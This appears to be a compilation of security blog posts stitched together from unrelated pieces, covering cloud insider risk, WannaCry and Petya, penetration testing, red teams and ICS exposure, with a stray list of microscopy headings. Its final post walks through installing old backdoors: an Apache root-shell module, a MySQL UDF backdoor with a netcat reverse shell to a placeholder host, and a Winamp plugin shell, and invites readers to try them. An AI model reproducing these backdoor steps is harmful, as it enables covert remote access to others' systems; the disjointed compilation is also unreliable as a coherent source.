Infodocument providing a visual exploration into the growing security concerns of smart city technologies. Featuring detail to the myriad technologies, problems, threats, possible targets, as well as current examples of cities having experienced attacks.
What I’m writing here isn’t about whether you should be in the cloud or not. That’s a complex question, it’s highly dependent on your business, and experts could still disagree even after seeing all of the inputs
What I want to talk about is two distinct considerations when looking at the risk of moving your entire company to the cloud. There are many companies doing this, especially in the Bay Area. CRM, HR, Email—it’s all cloud, and the number of cloud vendors totals in the hundreds, perhaps even thousands.
We’re pretty familiar with one type of risk, which is that between the internet and the cloud vendor. That list of risks looks something like this:
The list goes on from there.
But the side of that cloud/vendor risk that companies don’t seem to be as aware of is their own insider access: while one risk is that the vendor does something stupid with your data, another is that your own employees do the same.
Considerations around insider access are numerous:
The situation in so many cloud-based companies is that they enable business by providing access to these cloud systems, but they don’t control which endpoints can reach that data. Users may get in through web apps, mobile apps, or other means. It’s application-based authentication that doesn’t know (or care) what type of device is being used: a 12-year-old desktop with XP on it, or an old Android device that hasn’t been updated in months or years.
Even worse is the false sense of security gained from spending millions on firewall infrastructure, while a massive percentage of the workforce either doesn’t work at the office or doesn’t hairpin back into the office through a VPN. The modern workforce—especially in these types of environments—increasingly connects from a laptop at home (or at a co-work site or coffee shop) directly to the backend, which is the cloud.
This puts us increasingly in a situation where most of the NetSec products we’ve been investing in for the last 15 years are moot, for the simple reason that fewer and fewer people are using the corporate network.
For cloud-based companies especially, it’s time to start thinking about AuthZ and AuthN from not just the user and app perspective, but from a complete endpoint perspective. What is the device, OS, patch levels, malware controls, etc., combined with the user auth, for any given access to an application and the data within?
The risk from a compromised vendor is significant, but it’s also largely outside of a company’s control. Anyone who’s been in security for a while knows that there are thousands of companies with X, Y, or Z certifications, or positive audit results when they absolutely shouldn’t have passed. It’s really hard to know how safe your data is when it’s sitting with hundreds of cloud vendors.
What you can do is to get better control over what your own people are doing with that same data, and that starts with understanding who’s accessing it, and from what devices.
With WannaCry and now Petya we’re beginning to see how and why the new strain of ransomware worms are evolving and growing far more effective than previous versions.
I think there are 3 main factors: Propagation, Payload, and Payment.*
WannaCry vs. Petya
WannaCry used SMB as its main spreading mechanism, and its payment infrastructure lacked the ability to scale. It also had a kill switch, which was famously triggered and halted further propagation.
Petya on the other hand appears to be much more effective at spreading since it’s using both EternalBlue and credential sharing
/ PSEXEC to infect more systems. This means it can harvest working credentials and spread even if the new targets aren’t vulnerable to an exploit.
[NOTE: This is early analysis so some details could turn out to be different as we learn more.]
What remains to be seen is how effective the payload and payment infrastructures are on this one. It’s one thing to encrypt files, but it’s something else entirely to decrypt them.
The other important unknown at this point is if Petya is standalone or a component of a more elaborate attack. Is what we’re seeing now intended to be a compelling distraction?
There’s been some reports indicating these exploits were utilized by a sophisticated threat actor against the same targets prior to WannaCry. So it’s possible that WannaCry was poorly designed on purpose. Either way, we’re advising clients to investigate if there is any evidence of a more strategic use of these tools in the weeks leading up to Petya hitting.
*Note: I’m sure there are many more thorough ways to analyze the efficacy of worms. These are just three that came to mind while reading about Petya and thinking about it compared to WannaCry.
In the wake of WannaCry and other recent events, everyone from the Department of Homeland Security to my grandmother is recommending penetration tests as a silver bullet to prevent falling victim to the next cyberattack. But a penetration test is not a silver bullet, nor is it universally what is needed for improving the security posture of an organization. There are several key factors to consider. So I thought it might be good to review the difference between a penetration test and a vulnerability assessment since this is a routine source of confusion in the market. In fact, I’d venture to say that while there is a lot of good that comes from a penetration test, what people actually more often need is a vulnerability assessment.
Vulnerability Assessments are designed to yield a prioritized list of vulnerabilities and are generally best for organizations that understand they are not where they want to be in terms of security. The customer already knows they have issues and need help identifying and prioritizing them.
With a vulnerability assessment, the more issues identified the better, so naturally, a white box approach should be embraced when possible. The most important deliverable of the assessment is a prioritized list of vulnerabilities identified (and often information on how best to remediate).
Penetration Tests are designed to achieve a specific, attacker-simulated goal and should be requested by organizations that are already at their desired security posture. A typical goal could be to access the contents of the prized customer database on the internal network or to modify a record in an HR system.
The deliverable for a penetration test is a report on how security was breached in order to reach the agreed-upon goal (and often information on how best to remediate).
No organization has an unlimited budget for security. Every security dollar spent is a trade-off. For organizations that do not have a highly developed security program in place, vulnerability assessments will provide better value in terms of knowing where you need to improve your security posture even though pen tests are generally a less expensive option. A pen test is great when you know what you are looking for or want to test whether a remediation is working and has solved a particular vulnerability.
Here is a quick chart to help determine what your organization may need.
|
VULNERABILITY ASSESSMENT
|
PENETRATION TEST
|
|
|
Organizational Security Program Maturity Level
|
Low to Medium. Usually requested by organizations that already know they have issues, and need help getting started.
|
High. The organization believes their defenses to be strong, and wants to test that assertion.
|
|
Goal
|
Attain a prioritized list of vulnerabilities in the environment so that remediation can occur.
|
Determine whether a mature security posture can withstand an intrusion attempt from an advanced attacker with a specific goal.
|
|
Focus
|
Breadth over depth.
|
Depth overbreadth.
|
Most security programs benefit from utilizing some combination of security techniques. These can include any number of tasks, including penetration tests, vulnerability assessments, bug bounties, white/grey/black testing, code review, and/or red/blue/purple team exercises.
We’ll peel back the different tools and how you might use them in a future post. Until then, take a look at your needs and make sure the steps you take in the wake of WannaCry and other security incidents are more than just reacting to the crisis of the week.
Attribution: You Keep Using That Word, I Do Not Think It Means What You Think It Means…
In internal discussions in virtual halls of IOActive this morning, there were many talks about the collective industry’s rush to blame or attribution over the recent WanaCry/WannaCrypt ransomware breakouts. Twitter was lit up on #Wannacry and #WannaCrypt and even Microsoft got into the action, stating, “We need governments to consider the damage to civilians that comes from hoarding these vulnerabilities and the use of these exploits.”
Opinions for blame and attribution spanned the entire spectrum of response, from the relatively sane…
It’s more important to focus on the facts and what can be observed in the behavioral characteristics of the malware and what organizations need to do to prevent infection now and in the future.
How people classify them varies, but there are essentially three different classes of weaponized malware:
Nation state toolkits are typically elegant. As we know, ETERNALBLUE was part of a greater framework/toolkit. Whoever made WannaCrypt/Cry deconstructed a well written (by all accounts thus far) complex mechanism for point target use, and made a blunt force weapon of part of it. Of those three types above, nation states moved on from the first one over a decade ago because they’re not controllable and they don’t meet the clandestine nature that today’s operators require. Nation states typically prefer type two; however, this requires bi-directional, fully routed IP connectivity to function correctly. When you cannot get to the network or asset in question, type three is your only option. In that instance, you build in the targeting telemetry for the mission and send it on its way. This requires a massive amount of upfront HUMINT and SIGINT for targeting telemetry. As you can imagine, the weaponized malware in type three is both massive in size and in sunk cost.
WannaCry/WanaCrypt is certainly NOT types two or three and it appears that corners were cut in creating the malware. The community was very quick in actively reversing the package and it doesn’t appear that any major anti-reversing or anti-tampering methods were used. Toss in the well-publicized and rudimentary “kill switch” component and this appears almost sloppy and lacks conviction. I can think of at least a dozen more elegant command and control functions it could have implemented to leave control in the hands of the malware author. Anyone with reverse engineering skills would eventually find this “kill switch” and disable it using a hex editor to modifying a JMP instruction. Compare this to Conficker, which had password brute-forcing capabilities as well as the ability to pivot after installation and infect other hosts without the use of exploits, but rather through simple login after passwords were identified.
This doesn’t mean that WannaCry/WanaCrypt is not dangerous, on the contrary depending upon the data impacted, its consequences could be devastating. For example, impacting the safety builder controlling Safety Instrumented Systems, locking operators out of the Human Machine Interfaces (HMI’s, or computers used in industrial control environments) could lead to dangerous process failures. Likewise, loss of regulatory data that exists in environmental control systems, quality systems, historians, or other critical ICS assets could open a facility up to regulatory action. Critical infrastructure asset owners typically have horrific patch cycles with equally appalling backup and disaster recovery strategies. And if businesses are hit with this attack and lose critical data, it may open up a door to legal action for failure to follow due care and diligence to protect these systems. It’s clear this ransomware is going to be a major pain for quite some time. Due care and preventative strategies should be taken by asset owners everywhere to keep their operations up and running in the safest and secure manner possible.
It really doesn’t do much good to philosophically discuss attribution, or play as a recent hashtag calls it, the #smbBlameGame. It’s relatively clear that this is amateur hour in the cybercrime space. With a lot of people panicking about this being the “next cyber cruise missile” or equivalent, I submit that this is more akin to digital malaria.
A few weeks ago back in mid-March (2017), Microsoft issued a security bulletin (MS17-010) and patch for a vulnerability that was yet to be publicly disclosed or referenced. According to the bulletin, “the most severe of the vulnerabilities could allow remote code execution if an attacker sends specially crafted messages to a Microsoft Server Message Block 1.0 (SMBv1) server. This security update is rated Critical for all supported releases of Microsoft Windows.”
Normally, when Microsoft issues a patch or security there is an acknowledgment on their website regarding the disclosure. Below is the website and it is an interesting process, at this point, to make a visit. https://technet.microsoft.com/en-us/library/security/mt745121.aspx
It is often said that timing is everything, and in this case, Microsoft beat the clock. Exactly one month later, on 14 April 2017, ShadowBrokers dropped a fifth in a series of leaks supposedly associated with the NSA which included an exploit codenamed ETERNALBLUE. Flashing forward to today almost one full month later this payload has been weaponized and, over the last few hours, has been used in a rash of ransomware attacks throughout the UK, mainland Europe, and western Asia.
UK Hospitals Hit in Widespread Ransomware Attack
NSA Exploit Used by Wannacry Ransomware in Global Explosion
Spain Ransomware Outbreak
Considering the timing, one could be inclined to consider that this was not just Microsoft’s good fortune.
While pretty much the entire wired world is rushing to patch MS17-010, even though that patch has been out for almost two months, there is one technology area that is cause for particular concern especially when it comes to ransomware. This area of concern is the global industrial environments.
Historically, general purpose, run of the mill malware that leverages SMB and NetBIOS interfaces in the industrial environment are particularly troublesome, with many systems remaining infected many years later. Besides ICS environments being in an operational state that complicates the life of those seeking to patch them, some of these legacy systems often use a protocol called Object linking and embedding for Process Control (OLE for Process Control, or OPC for short). OPC Classic (a legacy protocol implementation), relies on the Distributed Component Object Model (DCOM) which makes heavy use of the Distributed Computing Environment / Remote Procedure Calls (DCE/RPC) protocol.
In addition to NetBIOS and depending on both configuration and implementation, SMB is one of the interfaces that can be leveraged by these other services. Because both NetBIOS and SMB are needed in some manner by ICS software and protocols, many ICS systems have been negatively impacted by malware leveraging SMB and NetBIOS attacks reaching back well over a decade.
After talking recently with colleagues at IOActive as well as some heads of industry-leading red teams, we wanted to share a list of attributes that we believe are key to any effective Red Team.
[ NOTE: For debate about the relevant terminology, we suggest Daniel’s post titled The Difference Between Red, Blue, and Purple Teams. ]
To be clear, we think there can be significant variance in how Red Teams are built and managed, and we believe there are likely multiple routes to success. But we believe there are a few key attributes that all (or at least most) corporate Red Teams should have as part of their program. These are:
Let’s look at each of these.
Organizational Independence is the requirement that the Red Team be able to effectively act as a real-world attacker in terms of scope, tools, and techniques employed. Many organizations restrict their Red Teams to such a degree that they’re basically impotent, which in turn lulls the company into a false sense of security.
Defensive Coordination is the requirement that Red Teams regularly interact with their counterparts on the defensive side to ensure the organization is learning from their activities. If a Red Team is effective on its own, but doesn’t share its knowledge and successes with the defense in order make it stronger, then the Red Team has lost sight of its purpose.
Continuous Operation is the requirement that the organization remain under constant, rolling attack by the Red Team, which is the polar opposite of short, penetration-test style engagements. Red Teams should operate through campaigns that span weeks or months in duration, and both the defensive teams and the general user population should know that at any moment, of any day, they could be targeted by both a Red Team campaign of some sort, or by a real attacker.
Adversary Emulation is the requirement that Red Team campaigns should be regularly updated based on the actual tools, techniques, and processes employed by real-world attackers. If cyber-criminals are doing X this quarter, let’s emulate that. If we’re seeing some state actors doing Y this year, let’s emulate that. If you’re not simulating—to some significant degree—the techniques being used by actual attackers, the Red Team is providing questionable value.
Efficacy Measurement is the requirement that Red Teams know how effective they are at improving the security posture of the organization. If we can’t tell a clear story around how our defenses are improving, i.e., that it’s getting increasingly more difficult to compromise, move laterally, and achieve attacker goals, then you’re getting limited value from any work that’s being done.
Summary
Here’s a pointed capture of those points:
There are many other components of a solid Red Team that were not mentioned—top-end malware kits, elite security talent, deep understanding of the attacker mindset, etc.—but we think these five components are both most fundamental and most lacking.
Optical Microscopy
Depth of field
Color
Electron Microscopy
Secondary Electron Images
Backscattered Electron Images
Currently, voodoo advanced rootkit techniques exist for persistence after you’ve got a shell during a pen test. Moreover, there are some bugdoorsimplemented on purpose by vendors, but that’s a different story. Beautiful techniques and code are available these days, but, do you remember that subtle code you used to use to sneak through the door? Enjoy that nostalgia by sharing your favorite one(s) using the #oldschoolbackdoors on social networks.
“mod_rootme is a very cool module that sets up a backdoor inside of Apache where a simple GET request will allow a remote administrator the ability to grab a root shell on the system without any logging.”
One of the most famous tools only required you to execute a simple makecommand to compile the shared object, copy it into the modules directory, insert “LoadModule rootme2_module /usr/lib/apache2/modules/mod_rootme2.so” into httpd.conf, and restart the httpd daemon with ‘apachectl stop; apachectl start’. After that, a simple “GET root” would give you back a w00t shell.
“This is a MySQL backdoor kit based on the UDFs (User Defined Functions) mechanism. Use it to spawn a reverse shell (netcat UDF on port 80/tcp) or to execute single OS commands (exec UDF).”
For this backdoor, you used a simple ‘#mysql -h x.x.x.x < raptor_winudf.sql’to inject the backdoor as a user-defined function. From there, you could execute commands with ‘mysql> select exec(‘ipconfig > c:out.txt’);’ from the MySQL shell.
A cool reverse-shell feature was implemented as well and could be called with ‘mysql> select netcat(‘y.y.y.y’);’ in order to send an interactive shell to port 80 on the host supplied (y.y.y.y). The screenshot below shows the variant for Linux.
“wbkdr is a proof of concept Winamp backdoor that makes use of the plugin interface. It spawns cmd.exe on port 24501.”
This one was as easy as copying the DLL into C:Program FilesWinampPlugins and playing your favorite song with Winamp in order to get a pretty cmd.exeattached to the port 24501.
This is backdoor I made using libpcap for packet sniffing (server) and libnet for packet crafting (client). I made use of the port-knocking technique to enable the backdoor, which could be a port bind or a reverse shell. The server and client use the same configuration file to determine which ports to knock and the time gap between each network packet sent. Knock-out supports TCP and UDP and is still working on recent Linux boxes (tested under Ubuntu Server 14.04).
I’d say most of these backdoors still work today. You should try them out. Also, I encourage you to share the rarest backdoors you ever seen, the ones that you liked the most, and the peculiar ones you tried and fell in love with. Don’t forget to use the #oldschoolbackdoors hashtag ;-).